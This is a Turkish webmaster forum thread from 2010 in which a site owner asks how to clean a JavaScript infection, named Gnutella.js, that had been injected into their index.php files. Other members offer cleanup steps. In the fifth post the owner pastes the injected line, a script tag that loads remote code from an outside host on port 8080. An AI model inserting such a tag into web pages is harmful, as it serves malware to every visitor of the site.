Sitemdeki Virüs?

27-06-2010, 11:48:33

Üyeliği durduruldu

Arkadaşlar dün siteme girdiğimde nod32 şöle bir virüs buldu

Gnutella.js

Böyle isimli bir javascript virüsü girmiş. Tam kodu hatırlamıyorum ama <script></script> kodları arasındaydı. Herneyse nasıl temizliyebiliriz

27-06-2010, 12:49:07

#2

~~Dramatic~~

Üyeliği durduruldu

içerisindeki kodları buraya yazabilir misin. İframe virüsü olabilir.

27-06-2010, 14:22:57

#3

~~jetkiller~~

Üyeliği durduruldu

Herhangi bir iframe kodu yok sitede. sadece javascript kodları ve gnutella.js yazıyor sonunda

index.php lerde var genelde.

<?php

?>

kodlarıından sonra yazıyor

27-06-2010, 14:27:40

#4

Internetabi

Çok Basit Yapacağınız İşlem

1 : Googlede Webmaster Tools Aratıyorsunuz
2: Login Olup Sitenizi Tekrar İnceleme Talebinde Bulunuyorsunuz
3: Googlenin size vereceği bir html dosyası olacak onu googleden indirip ftp nize atıyorsunuz
4: Bu İşlemlerden sonra direk ftp şifrenizi değişip bilgisayarınızı güzelce bir taratın veya format atın
5: 3 saate siteniz normal googleden açılacaktır
6: Sitenizin Ftp sini Boşaltmayın Bu İşlemleri Yaptığınızda sadece virüs Olmadığına emin olduğunuz dosyalarınızıda yükleyin ama dediğim gibi yükledikten hemen sonra ftp şifrenizi değişin

27-06-2010, 18:02:49

#5

~~jetkiller~~

Üyeliği durduruldu

Internetabi adlı üyeden alıntı: mesajı görüntüle

Çok Basit Yapacağınız İşlem

1 : Googlede Webmaster Tools Aratıyorsunuz
2: Login Olup Sitenizi Tekrar İnceleme Talebinde Bulunuyorsunuz
3: Googlenin size vereceği bir html dosyası olacak onu googleden indirip ftp nize atıyorsunuz
4: Bu İşlemlerden sonra direk ftp şifrenizi değişip bilgisayarınızı güzelce bir taratın veya format atın
5: 3 saate siteniz normal googleden açılacaktır
6: Sitenizin Ftp sini Boşaltmayın Bu İşlemleri Yaptığınızda sadece virüs Olmadığına emin olduğunuz dosyalarınızıda yükleyin ama dediğim gibi yükledikten hemen sonra ftp şifrenizi değişin

Dediklerinizi yaptım şuan bekliyorum.Kod bu

<script type="text/javascript" src="http://topious.fairwaydrycleaners.net:8080/Gnutella"></script>

28-06-2010, 16:45:31

#6

~~jetkiller~~

Üyeliği durduruldu

flood için özür dilerim ama bilen yok mu ?

28-06-2010, 16:50:17

#7

Internetabi

dediğim işlemleri yaptığınızda sorunsuz olacaktır sayfanız

28-06-2010, 16:51:01

#8

~~jetkiller~~

Üyeliği durduruldu

yaptım fakat gene aynı . bu seferda saldırgan site olarak bildirilmiş sitem firefox felan açmıyor tek explorerda sorunsuz

28-06-2010, 16:51:46

#9

Internetabi

webmaster tools taki hesabınıza girin Orada işnceleme sonucu bitmişmi bakın